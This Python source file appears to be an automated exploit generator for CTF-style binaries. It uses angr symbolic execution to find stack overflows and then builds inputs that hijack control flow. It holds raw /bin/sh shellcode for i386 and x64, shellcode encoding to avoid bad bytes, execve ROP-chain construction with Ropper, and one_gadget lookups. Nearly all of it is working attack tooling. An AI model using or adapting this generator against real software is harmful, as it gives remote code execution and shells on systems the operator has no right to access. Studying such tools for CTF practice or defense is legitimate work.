from __future__ import print_function
import angr
import claripy
import time
import timeout_decorator
import IPython
import r2pipe
import json
import os
import subprocess
from struct import pack
from ropper import RopperService
from angr import sim_options as so
from pwn import *

'''
' given n files, generate an execve rop chain and return it.
' I did not want to try and butcher ropper, so rs.createRopChain
' returns python code to print the rop chain to stdout
' I run it and steal the "rop" variable for my chain
'
' This is horrible code, do not repeat my mistakes
    'badbytes': ''.join(bad_bytes),
'''
def getRopchain(properties,bad_bytes):
    options = {'color' : False,
    'badbytes': ''.join(bad_bytes),
    'all' : False,
    'inst_count' : 6,
    'type' : 'all',
    'count_of_findings' : 5,
    'cfg_only' : False,
    'detailed' : False}

    rs = RopperService(options)
    print(properties['libc'])
    if 'libc' in properties and properties['libc'] is not None:
        rs.addFile(properties['libc'])
    rs.addFile(properties['file'])
    rs.loadGadgetsFor()

    '''Acceptable arches are formated differently than pwntools:
    x86
    x86_64
    ARM
    ... see https://github.com/sashs/Ropper/blob/a708fae670eece2b86daeaa276b38cb033eab231/README.md'''

    #These arches can span to mips and ppc
    arch = 'x86'
    if '64' in properties['protections']['arch']:
        arch = 'x86_64'
    elif 'arm' in properties['protections']['arch'].lower():
        arch = 'ARM'


    #If you were looking for good programming examples, you've
    #come to the wrong place friend
    chain = rs.createRopChain("execve",arch,{'cmd':'/bin/sh'})

    if "Cannot create chain" in chain or 'INSERT' in chain:
        print("[-] Failed to create rop chain. Try adding linked libraries")
        if 'libc' not in properties or properties['libc'] is None:
            print("[~] Try adding linked libc")
        exit(0)

    namespace = {}
    exec(chain,namespace) #rop variable created inside of "chain" python script
    if 'libc' in properties:
        rs.removeFile(properties['libc'])
    rs.removeFile(properties['file'])

    return namespace['rop']

'''
one gadget is writtin in ruby, so we need to call it externally
These are all offsets into libc
'''
def getOneGadget(properties):

    from subprocess import Popen, PIPE, STDOUT

    if 'libc' not in properties or properties['libc'] is None:
        print("[-] One gadget RCE relies on libc. Please add libc")
        exit(0)
    if 'libc_base' not in properties or properties['libc_base'] is None:
        print("[~] No libc base address specified. Chains will use 0x0 as base")

    #If installed using helper script, one gadget should be on $PATH
    one_gadget = Popen('one_gadget',properties['libc'], stdout=PIPE)
    lines = one_gadgets.stdout.communicate()[0].split('\n')

    gadget_addrs = []

    #Only grab the addresses
    for line in lines:
        if '/bin/sh' in line:
            print("[+] {}".format(line))
            gadget_addrs.append(line.split(' ')[0])

    return gadget_addrs

def getShellcode(properties):
    context.arch = properties['protections']['arch']

    if context.arch == 'i386': #/bin/sh shellcode - 23 bytes
        shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" + "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    elif context.arch == 'x64': #/bin/sh shellcode - 23 bytes
        shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56" + "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
    else:
        assembly = shellcraft.sh() #This works, but the shellcode is usually long
        shellcode = asm(assembly)
    return shellcode

def exploitOverflow(binary_name, properties, inputType="STDIN"):

    #p = angr.Project(binary_name,load_options={"auto_load_libs": False})
    class hookFour(angr.SimProcedure):
        IS_FUNCTION = True
        def run(self):
            return 4 # Fair dice roll

    p = angr.Project(binary_name)
    extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
    p.hook_symbol('rand',hookFour)
    p.hook_symbol('srand',hookFour)

    #Setup state based on input type
    argv = [binary_name]
    if inputType == "STDIN":
        state = p.factory.full_init_state(args=argv,add_options=extras)
    elif inputType == "LIBPWNABLE":
        #CFG = p.analyses.CFGFast()
        #handle_connection = CFG.kb.functions['handle_connection']

        handle_connection = p.loader.main_object.get_symbol("handle_connection")
        start_addr = handle_connection.rebased_addr

        reg_values = getRegValues(binary_name,start_addr) 

        state = p.factory.entry_state(args=argv,env=os.environ,addr=start_addr,add_options=extras)
        #state = p.factory.full_init_state(args=argv,env=os.environ,addr=start_addr,add_options=extras)

        #Just set the registers
        register_names = state.arch.register_names.values()
        for register in register_names:
            if register in reg_values: #Didn't use the register
                state.registers.store(register,reg_values[register])

    else:
        arg = claripy.BVS("arg1", 100 * 8)
        argv.append(arg)
        state = p.factory.full_init_state(args=argv,add_options=extras)
        state.globals['arg'] = arg

    state.globals['inputType'] = inputType
    simgr = p.factory.simgr(state, immutable=False, save_unconstrained=True)

    step_func = pickFilter(simgr,properties)
    if step_func is None:
        print("[-] Error could not device exploit strategy")
        exit(1)

    run_environ = {}
    run_environ['type'] = None
    end_state = None
    #Lame way to do a timeout
    try:
        @timeout_decorator.timeout(1200)
        def exploreBinary(simgr):
            simgr.explore(find=lambda s: 'type' in s.globals,step_func=step_func)

        exploreBinary(simgr)
        if 'found' in simgr.stashes and len(simgr.found):
            end_state = simgr.found[0]
            end_state_eb = simgr.found[0].globals['state_eb']
            run_environ['type'] = end_state.globals['type']


    except (KeyboardInterrupt, timeout_decorator.TimeoutError) as e:
        print("[~] Overflow check timed out")
    if (inputType == "STDIN" or inputType == "LIBPWNABLE")and end_state is not None:
        stdin_str = str(end_state.posix.dumps(0))
        run_environ['input'] = stdin_str
        stdin_str_eb = str(end_state_eb.posix.dumps(0))
        run_environ['input_eb'] = stdin_str_eb
        print("[+] Triggerable with STDIN : {}".format(repr(stdin_str)))
    elif inputType == "ARG" and end_state is not None:
        arg_str = str(end_state.solver.eval(arg,cast_to=str)).replace('\x00','').replace('\x01','')
        run_environ['input'] = arg_str
        print("[+] Triggerable with arg : {}".format(repr(arg_str)))
    return run_environ

def constrainToAddress(state,sym_val,addr,endian='little'):

    bits = state.arch.bits
    padded_addr = 0

    if bits == 32:
        padded_addr = p32(addr,endian=endian)
    elif bits == 64:
        botAddr = addr & 0xFFFFFFFF
        topAddr = (addr >> 32) & 0xFFFFFFFF
        padded_addr = p32(topAddr,endian=endian) + p32(botAddr,endian=endian)

    constraints = []
    for i in range(bits / 8):
        curr_byte = sym_val.get_byte(i)
        constraint = claripy.And(curr_byte == padded_addr[i])
        if state.se.satisfiable(extra_constraints=[constraint]):
            constraints.append(constraint)

    return constraints

#TODO move filters out of this file
def pickFilter(simgr,properties):

    def point_to_win_filter(simgr):
        for path in simgr.unconstrained:
            state = path.state

            eip = state.regs.pc
            bits = state.arch.bits


            for func in properties['win_functions']:
                state_copy = state.copy()
                address = properties['win_functions'][func]['fcn_addr']

                padded_addr = 0

                if bits == 32:
                    padded_addr = p32(address)
                elif bits == 64:
                    botAddr = address & 0xFFFFFFFF
                    topAddr = (address >> 32) & 0xFFFFFFFF
                    padded_addr = p32(topAddr) + p32(botAddr)


                #Constrain pc to win func
                constraints = constrainToAddress(state_copy,eip,address)

                #Check satisfiability
                if state_copy.se.satisfiable(extra_constraints=constraints):
                    for constraint in constraints:
                        state_copy.add_constraints(constraint)

                    #Check by input
                    if state_copy.globals['inputType'] == "STDIN" or state_copy.globals['inputType'] == "LIBPWNABLE":
                        if all([x in state_copy.posix.dumps(0) for x in padded_addr]):

                            #Setup endianness
                            state_eb = state.copy()
                            
                            #Constrain EIP to 0x41414141 or 0x4141414141414141
                            constraints_le = constrainToAddress(state,eip,address,endian='little')
                            constraints_eb = constrainToAddress(state,eip,address,endian='big')

                            #Constrain STDIN to printable if we can
                            if state.se.satisfiable(extra_constraints=constraints_le):
                                for constraint in constraints:
                                    state.add_constraints(constraint)

                            #Constrain STDIN to printable if we can
                            if state_eb.se.satisfiable(extra_constraints=constraints_eb):
                                for constraint in constraints_eb:
                                    state_eb.add_constraints(constraint)


                            #Little Endian
                            #Constrain rest of input to be printable
                            stdin = state.posix.files[0]
                            constraints = []
                            #stdin_size = len(stdin.all_bytes())
                            stdin_size = 100
                            stdin.length = stdin_size
                            stdin.seek(0)
                            stdin_bytes = stdin.all_bytes()
                            for i in range(stdin_size):
                                curr_byte = stdin.read_from(1)
                                constraint = claripy.And(curr_byte > 0x2F, curr_byte < 0x7F)
                                if state.se.satisfiable(extra_constraints=[constraint]):
                                    constraints.append(constraint)
        
                            #Constrain STDIN to printable if we can
                            if state.se.satisfiable(extra_constraints=constraints):
                                for constraint in constraints:
                                    state.add_constraints(constraint)

                            #Big Endian
                            #Constrain rest of input to be printable
                            stdin = state_eb.posix.files[0]
                            constraints = []
                            #stdin_size = len(stdin.all_bytes())
                            stdin_size = 100
                            stdin.length = stdin_size
                            stdin.seek(0)
                            stdin_bytes = stdin.all_bytes()
                            for i in range(stdin_size):
                                curr_byte = stdin.read_from(1)
                                constraint = claripy.And(curr_byte > 0x2F, curr_byte < 0x7F)
                                if state_eb.se.satisfiable(extra_constraints=[constraint]):
                                    constraints.append(constraint)
        
                            #Constrain STDIN to printable if we can
                            if state_eb.se.satisfiable(extra_constraints=constraints):
                                for constraint in constraints:
                                    state_eb.add_constraints(constraint)

                           #Get the string coming into STDIN
                            stdin_str = repr(str(state.posix.dumps(0).replace('\x00','').replace('\x01','')))
                            print("[+] Vulnerable path found {}".format(stdin_str))
                            state.globals['type'] = "Overflow"
                            state.globals['state_eb'] = state_eb
                            simgr.stashes['found'].append(path)
                            simgr.stashes['unconstrained'].remove(path)


                    if state_copy.globals['inputType'] == "ARG":
                        arg = state.globals['arg']
                        arg_str = str(state_copy.solver.eval(arg,cast_to=str)).replace('\x00','').replace('\x01','')
                        if 'A' in arg_str:
                            constraints = []
                            for i in range(bits / 8):
                                curr_byte = eip.get_byte(i)
                                constraint = claripy.And(curr_byte == 0x41)
                                constraints.append(constraint)

                            for i in range(arg.length):
                                curr_byte = arg.read_from(1)
                                constraint = claripy.And(curr_byte > 0x2F, curr_byte < 0x7F)
                                if state.se.satisfiable(extra_constraints=[constraint]):
                                    constraints.append(constraint)
        
                            #Constrain STDIN to printable if we can
                            if state.se.satisfiable(extra_constraints=constraints):
                                for constraint in constraints:
                                    state.add_constraints(constraint)
                            

                            arg_str = repr(str(state.solver.eval(arg,cast_to=str)).replace('\x00','').replace('\x01',''))
                            print("[+] Vulnerable path found {}".format(arg_str))
                            state.globals['type'] = "Overflow"
                            simgr.stashes['found'].append(path)
                            simgr.stashes['unconstrained'].remove(path)
        return simgr

    def point_to_shellcode_filter(simgr):
        for path in simgr.unconstrained:
            shellcode = getShellcode(properties)
            state = path.state

            eip = state.regs.pc
            bits = state.arch.bits

            state_copy = state.copy()
            
            addresses = [x for x in find_symbolic_buffer(state_copy,len(shellcode))]
            if len(addresses):
                list.sort(addresses)

            avoidList = []
            for address in addresses:
                my_buf = state_copy.memory.load(address,len(shellcode))
                if (not state_copy.satisfiable(extra_constraints=([my_buf == shellcode]))):
                    print("[~] Shellcode can't be placed. Checking for bad bytes.")
                    for i in xrange(len(shellcode)):
                        curr_byte = state_copy.memory.load(address + i,1)
                        if(state_copy.satisfiable(extra_constraints=([curr_byte == shellcode[i]]))):
                            pass
                            #print("[+] Byte {} Can be {}".format(i,repr(shellcode[i])))
                        else:
                            print("[-] Address {} Byte {} Can't be {}".format(hex(address+i),i,repr(shellcode[i])))
                            avoidList.append(shellcode[i])
                    print("Avoiding : {}".format(avoidList))
                    print("Old shellcode: {} {}".format(len(shellcode),repr(shellcode)))
                    try:
                        shellcode = encoders.encode(shellcode,avoidList)
                        print("New shellcode: {} {}".format(len(shellcode),repr(shellcode)))
                    except PwnlibException as e:
                        print("[-] Unable to encode shellcode to avoid {}".format(avoidList))
                    break

            addresses = [x for x in find_symbolic_buffer(state_copy,len(shellcode))]

            for address in addresses:
                print(("[+] Found address at {}\r".format(hex(address))), end=' ')
                state_copy = state.copy()

                padded_addr = 0

                if bits == 32:
                    padded_addr = p32(address)
                elif bits == 64:
                    botAddr = address & 0xFFFFFFFF
                    topAddr = (address >> 32) & 0xFFFFFFFF
                    padded_addr = p32(topAddr) + p32(botAddr)

                my_buf = state.memory.load(address,len(shellcode))

                #Constrain pc to shellcode
                constraints = constrainToAddress(state_copy,eip,address)
                

                #Setup shellcode
                memory = state_copy.memory.load(address,len(shellcode))
                shellcode_bvv = state_copy.se.BVV(shellcode)

                constraints.append(memory == shellcode_bvv)

                #Setup endianness - A weird number of CTF problems have endianess issues
                state_eb = state.copy()
                
                #Constrain EIP to shellcode address
                constraints_le = constrainToAddress(state,eip,address,endian='little')
                constraints_eb = constrainToAddress(state_eb,eip,address,endian='big')


                #Check satisfiability
                if state_copy.se.satisfiable(extra_constraints=constraints) and state_eb.se.satisfiable(extra_constraints=constraints_eb) and state.se.satisfiable(extra_constraints=constraints_le) and len(constraints_eb) == 4 and len(constraints_le) == 4:
                    print("[+] Win")
                    for constraint in constraints:
                        state_copy.add_constraints(constraint)

                    #Check by input
                    if state_copy.globals['inputType'] == "STDIN" or state_copy.globals['inputType'] == "LIBPWNABLE":
                        if all([x in state_copy.posix.dumps(0) for x in padded_addr]) and all([x in state_copy.posix.dumps(0) for x in shellcode]):

                            #Constrain STDIN to printable if we can
                            if state.se.satisfiable(extra_constraints=constraints_le):
                                for constraint in constraints:
                                    state.add_constraints(constraint)

                            #Constrain STDIN to printable if we can
                            if state_eb.se.satisfiable(extra_constraints=constraints_eb):
                                for constraint in constraints_eb:
                                    state_eb.add_constraints(constraint)

                            #Setup shellcode
                            memory = state.memory.load(address,len(shellcode))
                            shellcode_bvv = state.se.BVV(shellcode)

                            #Setup shellcode constraints
                            if state.se.satisfiable(extra_constraints=[memory == shellcode_bvv]):
                                state.add_constraints(memory == shellcode_bvv)

                            #Setup shellcode
                            memory = state_eb.memory.load(address,len(shellcode))
                            shellcode_bvv = state_eb.se.BVV(shellcode)

                            #Setup shellcode constraints
                            if state_eb.se.satisfiable(extra_constraints=[memory == shellcode_bvv]):
                                state_eb.add_constraints(memory == shellcode_bvv)

                            #Little Endian
                            #Constrain rest of input to be printable
                            stdin = state.posix.files[0]
                            constraints = []
                            #stdin_size = len(stdin.all_bytes())
                            stdin_size = 100
                            stdin.length = stdin_size
                            stdin.seek(0)
                            stdin_bytes = stdin.all_bytes()
                            for i in range(stdin_size):
                                curr_byte = stdin.read_from(1)
                                constraint = claripy.And(curr_byte > 0x2F, curr_byte < 0x7F)
                                if state.se.satisfiable(extra_constraints=[constraint]):
                                    constraints.append(constraint)
        
                            #Constrain STDIN to printable if we can
                            if state.se.satisfiable(extra_constraints=constraints):
                                for constraint in constraints:
                                    state.add_constraints(constraint)

                            #Big Endian
                            #Constrain rest of input to be printable
                            stdin = state_eb.posix.files[0]
                            constraints = []
                            #stdin_size = len(stdin.all_bytes())
                            stdin_size = 100
                            stdin.length = stdin_size
                            stdin.seek(0)
                            stdin_bytes = stdin.all_bytes()
                            for i in range(stdin_size):
                                curr_byte = stdin.read_from(1)
                                constraint = claripy.And(curr_byte > 0x2F, curr_byte < 0x7F)
                                if state_eb.se.satisfiable(extra_constraints=[constraint]):
                                    constraints.append(constraint)
        
                            #Constrain STDIN to printable if we can
                            if state_eb.se.satisfiable(extra_constraints=constraints):
                                for constraint in constraints:
                                    state_eb.add_constraints(constraint)

                           #Get the string coming into STDIN
                            #stdin_str = repr(str(state.posix.dumps(0).replace('\x00\x00\x00','').replace('\x01','')))
                            stdin_str = repr(str(state.posix.dumps(0)))
                            print("[+] Vulnerable path found {}".format(stdin_str))
                            state.globals['type'] = "Overflow"
                            state.globals['state_eb'] = state_eb
                            simgr.stashes['found'].append(path)
                            try:
                                simgr.stashes['unconstrained'].remove(path)
                            except (KeyboardInterrupt, timeout_decorator.TimeoutError) as e:
                                pass
                            break


                    if state_copy.globals['inputType'] == "ARG":
                        arg = state.globals['arg']
                        arg_str = str(state_copy.solver.eval(arg,cast_to=str))
                        if 'A' in arg_str:
                            constraints = []
                            for i in range(bits / 8):
                                curr_byte = eip.get_byte(i)
                                constraint = claripy.And(curr_byte == 0x41)
                                constraints.append(constraint)

                            for i in range(arg.length):
                                curr_byte = arg.read_from(1)
                                constraint = claripy.And(curr_byte > 0x2F, curr_byte < 0x7F)
                                if state.se.satisfiable(extra_constraints=[constraint]):
                                    constraints.append(constraint)
        
                            #Constrain STDIN to printable if we can
                            if state.se.satisfiable(extra_constraints=constraints):
                                for constraint in constraints:
                                    state.add_constraints(constraint)
                            

                            arg_str = str(state.solver.eval(arg,cast_to=str))
                            print("[+] Vulnerable path found {}".format(arg_str))
                            state.globals['type'] = "Overflow"
                            simgr.stashes['found'].append(path)
                            simgr.stashes['unconstrained'].remove(path)
        return simgr

    '''
    This function just swaps out shellcode for ropchain.
    There has to be a better way to genericize this
    '''
    def point_to_ropchain_filter(simgr):
        for path in simgr.unconstrained:
            bad_bytes = set()
            rop_chain = getRopchain(properties,bad_bytes)
            state = path.state

            eip = state.regs.pc
            bits = state.arch.bits

            state_copy = state.copy()
            
            addresses = [x for x in find_symbolic_buffer(state_copy,len(rop_chain))]
            if len(addresses):
                list.sort(addresses)

            for address in addresses:
                my_buf = state_copy.memory.load(address,len(rop_chain))
                if (not state_copy.satisfiable(extra_constraints=([my_buf == rop_chain]))):
                    print("[~] rop chain can't be placed. Checking for bad bytes.")
                    for i in xrange(len(rop_chain)):
                        curr_byte = state_copy.memory.load(address + i,1)
                        if(state_copy.satisfiable(extra_constraints=([curr_byte == rop_chain[i]]))):
                            pass
                        else:
                            print("[-] Address {} Byte {} Can't be {}".format(hex(address+i),i,repr(rop_chain[i])))
#                            byte_hex = hex(rop_chain[i]).rstrip('L').rstrip('0x')
                            byte_hex = rop_chain[i].encode('hex')
                            bad_bytes.add(byte_hex)
                    print("Avoiding : {}".format(bad_bytes))
                    print("Old ropchain: {} {}".format(len(rop_chain),repr(rop_chain)))

                    try:
                        rop_chain = getRopchain(properties,bad_bytes)
                    except Exception as e :
                        print(e)
                        print("[-] Error building rop_chain. To many bad bytes?")
                        exit(0)
                    break

            addresses = [x for x in find_symbolic_buffer(state_copy,len(rop_chain))]

            for address in addresses:
                print(("[+] Found address at {}\r".format(hex(address))), end=' ')
                state_copy = state.copy()

                padded_addr = 0

                if bits == 32:
                    padded_addr = p32(address)
                elif bits == 64:
                    botAddr = address & 0xFFFFFFFF
                    topAddr = (address >> 32) & 0xFFFFFFFF
                    padded_addr = p32(topAddr) + p32(botAddr)

                my_buf = state.memory.load(address,len(rop_chain))

                #Constrain pc to rop_chain 
                constraints = constrainToAddress(state_copy,eip,address)
                

                #Setup rop_chain 
                memory = state_copy.memory.load(address,len(rop_chain))
                rop_chain_bvv = state_copy.se.BVV(rop_chain)

                constraints.append(memory == rop_chain_bvv)

                #Setup endianness - A weird number of CTF problems have endianess issues
                state_eb = state.copy()
                
                #Constrain EIP to rop_chain address
                constraints_le = constrainToAddress(state,eip,address,endian='little')
                constraints_eb = constrainToAddress(state_eb,eip,address,endian='big')


                #Check satisfiability
                if state_copy.se.satisfiable(extra_constraints=constraints) and state_eb.se.satisfiable(extra_constraints=constraints_eb) and state.se.satisfiable(extra_constraints=constraints_le) and len(constraints_eb) == 4 and len(constraints_le) == 4:
                    print("[+] Win")
                    for constraint in constraints:
                        state_copy.add_constraints(constraint)

                    #Check by input
                    if state_copy.globals['inputType'] == "STDIN" or state_copy.globals['inputType'] == "LIBPWNABLE":
                        if all([x in state_copy.posix.dumps(0) for x in padded_addr]) and all([x in state_copy.posix.dumps(0) for x in rop_chain]):

                            #Constrain STDIN to printable if we can
                            if state.se.satisfiable(extra_constraints=constraints_le):
                                for constraint in constraints:
                                    state.add_constraints(constraint)

                            #Constrain STDIN to printable if we can
                            if state_eb.se.satisfiable(extra_constraints=constraints_eb):
                                for constraint in constraints_eb:
                                    state_eb.add_constraints(constraint)

                            #Setup rop_chain 
                            memory = state.memory.load(address,len(rop_chain))
                            rop_chain_bvv = state.se.BVV(rop_chain)

                            #Setup rop_chain constraints
                            if state.se.satisfiable(extra_constraints=[memory == rop_chain_bvv]):
                                state.add_constraints(memory == rop_chain_bvv)

                            #Setup rop_chain 
                            memory = state_eb.memory.load(address,len(rop_chain))
                            rop_chain_bvv = state_eb.se.BVV(rop_chain)

                            #Setup rop_chain constraints
                            if state_eb.se.satisfiable(extra_constraints=[memory == rop_chain_bvv]):
                                state_eb.add_constraints(memory == rop_chain_bvv)

                            #Little Endian
                            #Constrain rest of input to be printable
                            stdin = state.posix.files[0]
                            constraints = []
                            #stdin_size = len(stdin.all_bytes())
                            stdin_size = 100
                            stdin.length = stdin_size
                            stdin.seek(0)
                            stdin_bytes = stdin.all_bytes()
                            for i in range(stdin_size):
                                curr_byte = stdin.read_from(1)
                                constraint = claripy.And(curr_byte > 0x2F, curr_byte < 0x7F)
                                if state.se.satisfiable(extra_constraints=[constraint]):
                                    constraints.append(constraint)
        
                            #Constrain STDIN to printable if we can
                            if state.se.satisfiable(extra_constraints=constraints):
                                for constraint in constraints:
                                    state.add_constraints(constraint)

                            #Big Endian
                            #Constrain rest of input to be printable
                            stdin = state_eb.posix.files[0]
                            constraints = []
                            #stdin_size = len(stdin.all_bytes())
                            stdin_size = 100
                            stdin.length = stdin_size
                            stdin.seek(0)
                            stdin_bytes = stdin.all_bytes()
                            for i in range(stdin_size):
                                curr_byte = stdin.read_from(1)
                                constraint = claripy.And(curr_byte > 0x2F, curr_byte < 0x7F)
                                if state_eb.se.satisfiable(extra_constraints=[constraint]):
                                    constraints.append(constraint)
        
                            #Constrain STDIN to printable if we can
                            if state_eb.se.satisfiable(extra_constraints=constraints):
                                for constraint in constraints:
                                    state_eb.add_constraints(constraint)

                           #Get the string coming into STDIN
                            #stdin_str = repr(str(state.posix.dumps(0).replace('\x00\x00\x00','').replace('\x01','')))
                            stdin_str = repr(str(state.posix.dumps(0)))
                            print("[+] Vulnerable path found {}".format(stdin_str))
                            state.globals['type'] = "Overflow"
                            state.globals['state_eb'] = state_eb
                            simgr.stashes['found'].append(path)
                            try:
                                simgr.stashes['unconstrained'].remove(path)
                            except (KeyboardInterrupt, timeout_decorator.TimeoutError) as e:
                                pass
                            break


                    if state_copy.globals['inputType'] == "ARG":
                        arg = state.globals['arg']
                        arg_str = str(state_copy.solver.eval(arg,cast_to=str))
                        if 'A' in arg_str:
                            constraints = []
                            for i in range(bits / 8):
                                curr_byte = eip.get_byte(i)
                                constraint = claripy.And(curr_byte == 0x41)
                                constraints.append(constraint)

                            for i in range(arg.length):
                                curr_byte = arg.read_from(1)
                                constraint = claripy.And(curr_byte > 0x2F, curr_byte < 0x7F)
                                if state.se.satisfiable(extra_constraints=[constraint]):
                                    constraints.append(constraint)
        
                            #Constrain STDIN to printable if we can
                            if state.se.satisfiable(extra_constraints=constraints):
                                for constraint in constraints:
                                    state.add_constraints(constraint)
                            

                            arg_str = str(state.solver.eval(arg,cast_to=str))
                            print("[+] Vulnerable path found {}".format(arg_str))
                            state.globals['type'] = "Overflow"
                            simgr.stashes['found'].append(path)
                            simgr.stashes['unconstrained'].remove(path)
        return simgr


    if properties['win_functions']:
        print("[+] Using point to win function technique")
        return point_to_win_filter
    elif not properties['protections']['nx']:
        print("[+] Binary does not have NX")
        print("[+] Placing shellcode and pointing")
        return point_to_shellcode_filter
    else:
        print("[+] Building rop and pointing")
        return point_to_ropchain_filter
    return None

def check_continuity(address, addresses, length):
    '''
    dumb way of checking if the region at 'address' contains 'length' amount of controlled
    memory.
    '''
    for i in range(length):
        if not address + i in addresses:
            return False
    return True

def find_symbolic_buffer(state, length, arg=None):
    '''
    dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's
    control
    '''
    sym_addrs = []
    # get all the symbolic bytes from stdin
    if arg is not None:
        for var in arg.variables:
            sym_addrs.extend(state.memory.addrs_for_name(var))
    else:
        stdin_file = state.posix.get_file(0)
        for var in stdin_file.variables():
            sym_addrs.extend(state.memory.addrs_for_name(var))
    for addr in sym_addrs:
        if check_continuity(addr, sym_addrs, length):
            yield addr
def getRegValues(filename,endAddr):

    r2 = r2pipe.open(filename)
    r2.cmd('doo')
    r2.cmd('dcu {}'.format(endAddr))
    regs = json.loads(r2.cmd('drj'))
    r2.quit()
    return regs

'''
This is so hacky. I'm sorry
It's also only for stdin
'''
def findShellcode(filename,endAddr,shellcode,commandInput):

    hex_str = shellcode[:4].encode('hex')

    abs_path = os.path.abspath(filename)


    #If you know a better way to direct stdin please let me know
    os.system('env > temp.env')
    with open('command.input','w') as f:
        f.write(commandInput)
    with open('temp.rr2','w') as f:
        f.write("program={}\nstdin=command.input\nenvfile={}\n".format(filename,"temp.env"))
#        f.write("program={}\nstdin=command.input\nclearenv=true\nenvfile={}\n".format(abs_path,"temp.env"))


    r2 = r2pipe.open(filename)
    r2.cmd('e dbg.profile = temp.rr2')
    r2.cmd('ood')
    r2.cmd('dcu {}'.format(endAddr))
    r2.cmd('s ebp')
    r2.cmd('e search.maxhits =1')
    r2.cmd('e search.in=dbg.map')   #Need to specify this for r2pipe
    loc = json.loads(r2.cmd('/xj {}'.format(hex_str)))

    #Cleaning up
    if os.path.exists('command.input'):
        os.remove('command.input')
    if os.path.exists('temp.rr2'):
        os.remove('temp.rr2')
    if os.path.exists('temp.env'):
        os.remove('temp.env')


    return loc
